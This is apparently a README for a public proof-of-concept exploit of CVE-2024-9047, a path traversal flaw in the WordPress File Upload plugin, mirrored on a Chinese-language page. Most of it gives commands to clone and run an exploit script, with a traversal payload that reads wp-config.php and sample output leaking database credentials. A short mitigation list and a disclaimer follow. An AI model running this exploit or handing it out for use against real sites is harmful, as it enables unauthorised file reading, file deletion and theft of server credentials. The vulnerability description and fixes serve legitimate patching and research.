CVE-2024-9047 PoC — WordPress plugin WordPress File Upload 路径遍历漏洞

Description

Exploit for WordPress File Upload Plugin - All versions up to 4.24.11 are vulnerable.

介绍

# CVE-2024-9047: Exploit for WordPress File Upload Plugin

## Description
The **WordPress File Upload** plugin for WordPress is vulnerable to a **Path Traversal** vulnerability in all versions up to, and including, `4.24.11` via the `wfu_file_downloader.php` file. This vulnerability allows unauthenticated attackers to read or delete files outside of the intended directory. Successful exploitation requires the targeted WordPress installation to be running **PHP 7.4 or earlier**.

### Impact
- **Severity:** Critical
- **CVSS Score:** 9.8 (Critical)
- **Attack Vector:** Network
- **Authentication Required:** No

### Exploitation
An attacker can exploit this vulnerability by crafting a specific request to the vulnerable endpoint, `wfu_file_downloader.php`, and manipulate the file path parameter to gain unauthorized access to sensitive files on the server.

---

## Exploit Details
### Requirements
- The targeted WordPress installation must have the vulnerable plugin installed (`4.24.11` or earlier).
- The server must run PHP version `7.4` or earlier.

### Steps to Exploit
1. Clone this repository:
   ```bash
   git clone https://github.com/Nxploited/CVE-2024-9047-Exploit.git
   cd CVE-2024-9047-Exploit
   ```

2. Install Python dependencies (if necessary):
   ```bash
   pip install requests
   ```

3. Run the script to check the plugin version and exploit the vulnerability:
   ```bash
   python3 CVE-2024-9047.py --url http://target-site.com --command /../../../../../path/to/target/file
   ```

### Example Usage
To exploit the default vulnerable configuration and read the WordPress configuration file:
```bash
python3 CVE-2024-9047.py --url http://192.168.1.100 --command /../../../../../opt/lampp/htdocs/wordpress/wp-config.php
```
### Result
```
C:\Users\Nxploit\Desktop\-C>python CVE-2024-9047.py -u http://192.168.100.74:888/wordpress/
Detected version: "trunk"
The site is vulnerable!
Exploit successful! Response:
<?php

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress7' );

/** Database username */
define( 'DB_USER', 'root' );

/** Database password */
define( 'DB_PASSWORD', '' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+

```


---

## Mitigation
To protect your WordPress site:
1. Update the **WordPress File Upload** plugin to the latest version.
2. Ensure the PHP version is updated to a supported version (higher than 7.4).
3. Restrict file permissions to prevent unauthorized access to sensitive files.
4. Use a Web Application Firewall (WAF) to block malicious requests.

### Disclaimer
This code is intended for educational and research purposes only. Unauthorized use of this script on systems you do not own or have explicit permission to test is illegal and unethical. The authors take no responsibility for any misuse of this code.

文件快照

备注